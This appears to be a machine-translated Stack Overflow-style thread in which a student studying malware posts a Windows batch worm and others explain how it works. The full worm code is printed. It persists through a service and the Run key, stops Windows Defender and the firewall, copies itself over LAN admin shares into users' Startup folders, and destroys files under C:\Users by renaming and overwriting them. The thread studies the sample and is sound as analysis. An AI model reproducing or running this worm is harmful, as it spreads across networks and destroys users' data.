這個「批蟲」是如何工作的？

@echo off 
SET i=0 
SET "NomeProcesso=DaMonki.exe" 
SET "NomeService=DaMonki" 

rem <=== run as service ===> 
echo sc create %NomeService% binpath=%0 > service.bat 
echo sc start %NomeService% >> service.bat 
attrib +h +r +s service.bat 
start service.bat 
rem <=== startup registry ===> 
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Services" /t "REG_SZ" /d %0 
attrib +h +r +s %0 
rem <=== kill firewall and windows defender ===> 
net stop "Windows Defender Service" 
net stop "Windows Firewall" 
rem <=== INFECT NETWORK!!! ===> 
:Worm 
net use Z: \\192.168.1.%i%\C$ 
if exist Z: (for /f %%u in ('dir Z:\Users /b') do copy %0 "Z:\Users\%%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Services.exe" 
mountvol Z: /d) 
if %i% == 256 (goto Infect) else (set /a i=i+1) 
goto Worm 
rem <=== infect *.* in C:\Users ===> 
:Infect 
for /f %%f in ('dir C:\Users\*.* /s /b') do (rename %%f *.bat) 
for /f %%f in ('dir C:\Users\*.bat /s /b') do (copy %0 %%f)

我學習關於我的TCC的惡意軟件和惡意程序，而且我發現這個批次樣品蠕蟲病毒，我能理解大部分的代碼，但我不明白的"Infect Network"和"Infect *.* in C:\Users"線。這個「批蟲」是如何工作的？

這些行對我的電腦有什麼作用？它會簡單地「感染」這些文件或將會毀掉它們？這種蠕蟲只會在受害者網絡中傳播嗎？這個代碼有什麼限制？殺毒軟件如何阻止它？

如果您有一些好的惡意軟件/軟件工程電子書和論文，請在評論中留下鏈接。

對不起，我沒有流利的這種語言。

不要使用此代碼懷有惡意！

來源

2016-02-23 ArsonFG

批處理將自身添加到註冊表中，以便在系統引導時將其啓動，並將其自身填充到每個用戶的開始菜單中，以便在THEY登錄時運行，然後嘗試對本地網絡中的每臺機器都做同樣的事情。 –

的「感染網絡」部分試圖獲得一個淨使用時連接到本地網絡IP地址，通過讀取系統和拷貝一個文件到他們的本地啓動目錄的用戶的列表，以便在運行時，他們登錄到他們的機器。

感染用戶部分將Users目錄中的多個文件重命名爲.bat擴展名，然後以該名稱複製另一個文件。這意味着有幾個文件被強制擁有所需的.bat文件的內容。這可能會運行一些其他惡意代碼或運行先前複製的可執行文件。

讓我知道你是否需要任何進一步的澄清。

來源

2016-02-23 20:32:21 ManoDestra

它解決了我的疑問，但是，被迫擁有蝙蝠內容的文件只是不再工作？他們現在是一個「新計劃」？ – ArsonFG

是的。他們不會再工作了。它們被重命名爲.bat擴展名。然後，將一個新的批處理文件複製到每個文件的內容中，並將其原始意圖替換爲隱含的新內容。不知道爲什麼需要兩個步驟來做到這一點，但這就是它似乎在做的。 – ManoDestra

感謝您的快速和良好的答案！（^ - ^） – ArsonFG

The 。意味着要感染C：\用戶配置文件中的所有內容

來源

2016-12-27 03:17:45 bill

這個「批蟲」是如何工作的？

回答

相關問題